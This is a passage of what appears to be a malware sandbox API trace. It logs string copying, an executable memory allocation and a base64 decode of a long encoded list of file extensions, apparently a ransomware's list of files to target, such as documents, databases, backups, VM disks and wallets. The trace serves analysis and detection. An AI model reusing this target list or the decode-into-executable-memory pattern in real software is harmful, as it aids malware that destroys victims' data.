CwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==" | out: lpString1="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==") returned="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==" [0052.478] lstrlenA (lpString="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==") returned 3888 [0052.478] VirtualAlloc (lpAddress=0x0, dwSize=0xf31, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000 [0052.479] CryptStringToBinaryA (in: pszString="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAu